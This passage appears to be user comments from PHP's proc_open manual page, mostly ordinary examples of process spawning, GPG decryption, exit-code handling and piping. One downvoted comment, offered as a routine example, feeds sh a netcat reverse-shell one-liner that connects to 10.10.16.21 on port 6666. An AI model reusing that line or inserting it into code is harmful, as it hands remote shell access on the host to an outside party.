 * The first parameter $cmd is the command line to execute.
 * Return the exit code of the process.
 */
function proc_exec($cmd)
{
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );

    $ptr = proc_open($cmd, $descriptorspec, $pipes, NULL, $_ENV);
    if (!is_resource($ptr))
        return false;

    while (($buffer = fgets($pipes[FD_READ], BUF_SIZ)) != NULL 
            || ($errbuf = fgets($pipes[FD_ERR], BUF_SIZ)) != NULL) {
        if (!isset($flag)) {
            $pstatus = proc_get_status($ptr);
            $first_exitcode = $pstatus["exitcode"];
            $flag = true;
        }
        if (strlen($buffer))
            echo $buffer;
        if (strlen($errbuf))
            echo "ERR: " . $errbuf;
    }

    foreach ($pipes as $pipe)
        fclose($pipe);

    /* Get the expected *exit* code to return the value */
    $pstatus = proc_get_status($ptr);
    if (!strlen($pstatus["exitcode"]) || $pstatus["running"]) {
        /* we can trust the retval of proc_close() */
        if ($pstatus["running"])
            proc_terminate($ptr);
        $ret = proc_close($ptr);
    } else {
        if ((($first_exitcode + 256) % 256) == 255 
                && (($pstatus["exitcode"] + 256) % 256) != 255)
            $ret = $pstatus["exitcode"];
        elseif (!strlen($first_exitcode))
            $ret = $pstatus["exitcode"];
        elseif ((($first_exitcode + 256) % 256) != 255)
            $ret = $first_exitcode;
        else
            $ret = 0; /* we "deduce" an EXIT_SUCCESS ;) */
        proc_close($ptr);
    }

    return ($ret + 256) % 256;
}

/* __init__ */
if (isset($argv) && count($argv) > 1 && !empty($argv[1])) {
    if (($ret = proc_exec($argv[1])) === false)
        die("Error: not enough FD or out of memory.\n");
    elseif ($ret == 127)
        die("Command not found (returned by sh).\n");
    else
        exit($ret);
}
?>

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Gil Potts ¶

6 months ago

This is not really a bug but more of an unexpected gotcha.  If you pass in an array for $env and include a modified PATH, that path does not take effect in PHP itself when starting the process.  So if you are trying to start an executable in the modified PATH by using just the executable name, PHP and the OS won't find it and therefore will fail to start the process.

The fix is to let PHP know about the modified PATH by calling putenv("PATH=" . $newpath) with the new path string so that the call to proc_open() will correctly locate the executable and successfully run it.

down

snowleopard at amused dot NOSPAMPLEASE dot com dot au ¶

15 years ago

I managed to make a set of functions to work with GPG, since my hosting provider refused to use GPG-ME.
Included below is an example of decryption using a higher descriptor to push a passphrase.
Comments and emails welcome. :)

<?php
function GPGDecrypt($InputData, $Identity, $PassPhrase, $HomeDir="~/.gnupg", $GPGPath="/usr/bin/gpg") {
    
    if(!is_executable($GPGPath)) {
        trigger_error($GPGPath . " is not executable",
        E_USER_ERROR);
        die();
    } else {
        // Set up the descriptors
        $Descriptors = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w"),
            3 => array("pipe", "r") // This is the pipe we can feed the password into
        );

        // Build the command line and start the process
        $CommandLine = $GPGPath . ' --homedir ' . $HomeDir . ' --quiet --batch --local-user "' . $Identity . '" --passphrase-fd 3 --decrypt -';
        $ProcessHandle = proc_open( $CommandLine, $Descriptors, $Pipes);

        if(is_resource($ProcessHandle)) {
            // Push passphrase to custom pipe
            fwrite($Pipes[3], $PassPhrase);
            fclose($Pipes[3]);
            
            // Push input into StdIn
            fwrite($Pipes[0], $InputData);
            fclose($Pipes[0]);
            
            // Read StdOut
            $StdOut = '';
            while(!feof($Pipes[1])) {
                $StdOut .= fgets($Pipes[1], 1024);
            }
            fclose($Pipes[1]);
            
            // Read StdErr
            $StdErr = '';
            while(!feof($Pipes[2]))    {
                $StdErr .= fgets($Pipes[2], 1024);
            }
            fclose($Pipes[2]);

            // Close the process
            $ReturnCode = proc_close($ProcessHandle);

        } else {
            trigger_error("cannot create resource", E_USER_ERROR);
            die();
        }
    }
    
    if (strlen($StdOut) >= 1) {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdOut;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr . "\n\nStandard Output Follows:\n\n";
        }
    } else {
        if ($ReturnCode <= 0) {
            $ReturnValue = $StdErr;
        } else {
            $ReturnValue = "Return Code: " . $ReturnCode . "\nOutput on StdErr:\n" . $StdErr;
        }
    }
    return $ReturnValue;
}
?>

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mamedul.github.io ¶

6 days ago

Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

    if( function_exists('exec') ){
        $output = array();
        $return_var = 0;
        exec($cmd, $output, $return_var);
        return implode( " ", array_values($output) );
    }else if( function_exists('shell_exec') ){
        return shell_exec($cmd);
    }else if( function_exists('system') ){
        $return_var = 0;
        return system($cmd, $return_var);
    }else if( function_exists('passthru') ){
        $return_var = 0;
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_contents();
        ob_end_clean(); //Use this instead of ob_flush()
        return $output;
    }else  if( function_exists('proc_open') ){
        $proc=proc_open($cmd,
            array(
                array("pipe","r"),
                array("pipe","w"),
                array("pipe","w")
            ),
            $pipes);
        return stream_get_contents($pipes[1]);
    }else{
        return "@PHP_COMMAND_NOT_SUPPORT";
    }    

}

down

mendoza at pvv dot ntnu dot no ¶

18 years ago

Since I don't have access to PAM via Apache, suexec on, nor access to /etc/shadow I coughed up this way of authenticating users based on the system users details. It's really hairy and ugly, but it works.

<?
function authenticate($user,$password) {
  $descriptorspec = array(
     0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
     1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
     2 => array("file","/dev/null", "w") // stderr is a file to write to
  );

  $process = proc_open("su ".escapeshellarg($user), $descriptorspec, $pipes);

  if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be appended to /tmp/error-output.txt

    fwrite($pipes[0],$password);
    fclose($pipes[0]);
    fclose($pipes[1]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    $return_value = proc_close($process);

    return !$return_value;
  }
}
?>

down

picaune at hotmail dot com ¶

18 years ago

The above note on Windows compatibility is not entirely correct.

Windows will dutifully pass on additional handles above 2 onto the child process, starting with Windows 95 and Windows NT 3.5. It even supports this capability (starting with Windows 2000) from the command line using a special syntax (prefacing the redirection operator with the handle number).

These handles will be, when passed to the child, preopened for low-level IO (e.g. _read) by number. The child can reopen them for high-level (e.g. fgets) using the _fdopen or _wfdopen methods. The child can then read from or write to them the same way they would stdin or stdout.

However, child processes must be specially coded to use these handles, and if the end user is not intelligent enough to use them (e.g. "openssl < commands.txt 3< cacert.der") and the program not smart enough to check, it could cause errors or hangs.

down

-2

anony mouse ¶

10 months ago

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
);
$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);
if (is_resource($process)) {
    fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f');
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>

down

-1

jonah at whalehosting dot ca ¶

15 years ago

@joachimb: The descriptorspec describes the i/o from the perspective of the process you are opening.  That is why stdin is read: you are writing, the process is reading.  So you want to open descriptor 2 (stderr) in write mode so that the process can write to it and you can read it.  In your case where you want all descriptors to be pipes you should always use:

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'w') // stderr
);
?>

The examples below where stderr is opened as 'r' is a mistake.

I would like to see examples of using higher descriptor numbers than 2.  Specifically GPG as mentioned in the documentation.

down

-3

jaroslaw at pobox dot sk ¶

15 years ago

Some functions stops working proc_open() to me.
This i made to work for me to communicate between two php scripts:

<?php
$abs_path = '/var/www/domain/filename.php';
$spec = array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")); 
$process = proc_open('php '.$abs_path, $spec, $pipes, null, $_ENV); 
if (is_resource($process)) {
    # wait till something happens on other side
    sleep(1);
    # send command
    fwrite($pipes[0], 'echo $test;');
    fflush($pipes[0]);
    # wait till something happens on other side
    usleep(1000);
    # read pipe for result
    echo fread($pipes[1],1024).'<hr>';
    # close pipes
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    $return_value = proc_close($process);
}
?>

filename.php then contains this:

<?php
$test = 'test data generated here<br>';
while(true) {
    # read incoming command
    if($fh = fopen('php://stdin','rb')) {
        $val_in = fread($fh,1024);
        fclose($fh);
    }
    # execute incoming command
    if($val_in)
        eval($val_in);
    usleep(1000);
    # prevent neverending cycle
    if($tmp_counter++ > 100)
        break;
}
?>

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toby at globaloptima dot co dot uk ¶

11 years ago

If script A is spawning script B and script B pushes a lot of data to stdout without script A consuming that data, script B is likely to hang but the result of proc_get_status on that process seems to continue to indicate it's running.

So either don't write to stdout i the spawned process (I write to log files instead now) or try to read in the stdout in a non-blocking way if your script A is spawning many instances of script B, I couldn't get this second option to work sadly.

PHP 5.3.8 CLI on Windows 7 64.

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